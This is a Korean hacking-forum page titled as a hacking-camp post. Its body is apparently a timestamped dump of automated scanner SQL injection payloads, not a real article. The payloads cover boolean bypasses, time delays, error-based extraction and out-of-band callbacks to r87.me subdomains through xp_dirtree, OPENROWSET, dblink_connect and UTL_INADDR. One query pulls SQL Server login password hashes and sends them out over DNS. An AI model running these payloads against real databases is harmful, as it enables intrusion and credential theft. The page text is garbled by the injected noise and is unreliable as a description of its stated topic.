해커스쿨 강좌실 - 제 6회 해킹캠프 장기자랑 모음

%27

-1 OR 1=1

-1 OR 1=1

' WAITFOR DELAY '0:0:25'-- /* 34b4d8b5-5019-45ff-bf20-664949ddd36c */

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

-1 OR 1=1

'"/$[].>

-1 OR 1=1

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

1 WAITFOR DELAY '0:0:25'-- /* 49f3894f-a9ac-4fb6-a558-b7d179b8827f */

%27%22%2f%24%5b%5d.%3e

';sleep(25000);ns();' /* 48fedb4b-20b4-412f-b800-6cf757ccc0ed */

exec('xp_dirtree ''\\fblldlariqvdmfwaug2dhimrv_3ldfapfq7kqnma'+'28m.r87.me'+'\c$\a''')

NS-1NO

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

WAITFOR DELAY '0:0:25'-- /* 07969a7d-b783-4fb0-ace7-4b63340c7d5b */

-1 AND 'NS='ss

'"/$[].>
Apr 24, 2025 10:32

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* c7fcce01-46eb-4d8b-8644-4a66893d834a */

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

-1' OR 1=1 OR 'ns'='ns

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.fblldlariqyiic7nycnilzydoryvbf6rdtc8928e'+'r_m.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

1) WAITFOR DELAY '0:0:25'-- /* 98ba95ea-50a5-41ee-a036-7f54afd5028c */

-1" OR 1=1 OR "ns"="ns

%27%22%2f%24%5b%5d.%3e
Apr 24, 2025 10:33

';sleep(25000);ns();' /* 1a363306-84c0-47e3-b3cb-fb67ccb91e20 */
Apr 24, 2025 10:33

-1 OR 17-7=10

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

1;exec('xp_dirtree ''\\fblldlariqh363zczixpblvfgsvty0dubbkfpufn'+'0k4.r87.me'+'\c$\a''')--

') WAITFOR DELAY '0:0:25'-- /* 17315ba6-389e-446f-b7b2-0faf85f8d9b6 */

-1 OR X='ss

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 92c3fad7-d6d3-418c-8b60-199f0da1765f */
Apr 24, 2025 10:33

-1' OR 1=1 OR '1'='1

-1';exec('xp_dirtree ''\\fblldlariqfqdvbtnpxwrxwx-vgrs1gj-5ols7sx'+'zc4.r87.me'+'\c$\a''')--

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

')) WAITFOR DELAY '0:0:25'-- /* a706ca05-96a7-4a9c-a4f9-eee6cd8c51b9 */

-1' OR 1=1 OR '1'='1

-1" OR 1=1 OR "1"="1

1) exec('xp_dirtree ''\\fblldlariqjnwnlobraxq7xdfrvizcmdcg0ylzno'+'ce4.r87.me'+'\c$\a''')--

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

1)) WAITFOR DELAY '0:0:25'-- /* f696fe38-701a-4d89-a741-9d99babe6dbc */

-1" OR 1=1 OR "1"="1

-1 OR 1=1

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 286813e0-af0b-4d16-8e59-f1ecd109d3f5 */

1')exec('xp_dirtree ''\\fblldlariqvcm3odnaullt3oh50vv8qp3ut-ysql'+'-ca.r87.me'+'\c$\a''')--

-1 OR 1=1

-1 OR 1=1

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* c630e996-adee-485a-bef1-371eec181117 */

-1 OR 1=1

1))exec('xp_dirtree ''\\fblldlariqf4tqouc2q6274q8metk_ffqsb5ksgb'+'dl8.r87.me'+'\c$\a''')--

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 680c0dc1-8e7a-4eea-8db8-56f4186e1d9b */

NS-1NO

1'))exec('xp_dirtree ''\\fblldlariqv3ernqsgpqxhsfi8fyabqtmsidfbw1'+'u9s.r87.me'+'\c$\a''')--

-1 AND 'NS='ss

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* dcbfec54-33fd-462d-b3e6-62390d4ff4bd */

syscolumns WHERE 2>3;exec('xp_dirtree ''\\fblldlariqzknfgj27iic-vjn8h-p91dksrr7gno'+'3ug.r87.me'+'\c$\a''')--

-1' OR 1=1 OR 'ns'='ns

-1" OR 1=1 OR "ns"="ns

NSFTW

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 89340e9b-0aa0-4081-a0df-196f4ec1be39 */

-1 OR 17-7=10

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqtba_lbjocswyawwwu2ph4fo4c7nvjg'+'ves.r87.me')exec sp_executesql @r

-1 OR X='ss

'+NSFTW+'

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqbhcbefkigknt-dn-nilhdjt0b7kmbc'+'dqq.r87.me')exec sp_executesql @r--

-1' OR 1=1 OR '1'='1

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 0b35807a-8ed4-4d7e-b83f-77d54bfae13f */

-1' OR 1=1 OR '1'='1

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

-1" OR 1=1 OR "1"="1

((select sleep(25)))a-- 1 /* 80c0ab93-fe59-42e5-9943-0886ded0ea6d */

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqugp8kyd8nryri4kitvjinc8kbdxmdx'+'09c.r87.me')exec sp_executesql @r--

-1" OR 1=1 OR "1"="1

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

-1 OR 1=1
Apr 24, 2025 10:36

SELECT dblink_connect('host=fblldlariqdjhpcneti5o4svy_8jtk-psabmd0ld'||'uy8.r87.me user=a password=a connect_timeout=2')

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 176e2a05-a529-4d00-8416-9c55a750010a */

-1 OR 1=1
Apr 24, 2025 10:36

-1 OR 1=1
Apr 24, 2025 10:37

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

dblink_connect('host=fblldlariq-gma4rg0wsiwlicxqagiz0udb795gk'||'twk.r87.me user=a password=a connect_timeout=2')

-1 OR 1=1
Apr 24, 2025 10:37

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* 5ec15898-46d1-469f-bba6-49b8ddd8c978 */

'
Apr 24, 2025 10:37

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

cast((SELECT dblink_connect('host=fblldlariq9esrztwikw78_v-hvub6-lc8gtmevc'||'bkq.r87.me user=a password=a connect_timeout=2')) as numeric)

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 5501293c-3c12-4823-ab67-03293e9c07f3 */

NS-1NO
Apr 24, 2025 10:37

-1 AND 'NS='ss
Apr 24, 2025 10:37

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(49)||chr(97)||chr(97)||chr(98)||chr(107)||chr(51)||chr(98)||chr(51)||chr(108)||chr(114)||chr(54)||chr(97)||chr(110)||chr(105)||chr(120)||chr(51)||chr(56)||chr(101)||chr(122)||chr(103)||chr(122)||chr(105)||chr(108)||chr(106)||chr(107)||chr(113)||chr(51)||chr(115)||chr(102)||chr(117)||chr(101)||chr(116)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

1';SELECT pg_sleep(25)-- /* f67f0a10-3dd1-4afe-8008-bffb72fb658a */

-1' OR 1=1 OR 'ns'='ns
Apr 24, 2025 10:38

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

-1" OR 1=1 OR "ns"="ns
Apr 24, 2025 10:38

'||(SELECT dblink_connect('host=fblldlariqghgnh5fgctdc0nhali4gwn2oaa4auo'||'way.r87.me user=a password=a connect_timeout=2'))||'

1;SELECT pg_sleep(25)-- /* 6991ac5e-c504-4471-ac8d-ee3a19f99f3f */

-1 OR 17-7=10
Apr 24, 2025 10:38

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

-1 OR X='ss
Apr 24, 2025 10:38

(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqassszn-y_uathbkpcsvg5mnloj0pta'||'qj4.r87.me') from DUAL)

SELECT pg_sleep(25)-- /* 45098701-103c-4cb0-b428-5bbed9d446b5 */

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:38

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqvjgspd70joqztp3waebbs5lwjfdat5'||'izw.r87.me') from DUAL))))

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:39

1);SELECT pg_sleep(25)-- /* d63e2d62-c097-4224-92ad-b356f1a9ee73 */

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:39

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqqb5foxzcnhcom6vtyzmy3wvv7x7gxf'||'bea.r87.me') from DUAL))||'

1');SELECT pg_sleep(25)-- /* bc179185-378f-4e8c-9d4e-0444c6f9ce39 */

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:39

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

-1 OR 1=1
Apr 24, 2025 10:39

(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(48)||chr(122)||chr(100)||chr(108)||chr(105)||chr(116)||chr(107)||chr(97)||chr(103)||chr(48)||chr(48)||chr(114)||chr(97)||chr(51)||chr(105)||chr(122)||chr(122)||chr(101)||chr(118)||chr(114)||chr(113)||chr(110)||chr(122)||chr(116)||chr(101)||chr(112)||chr(100)||chr(118)||chr(116)||chr(122)||chr(102)||chr(119)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)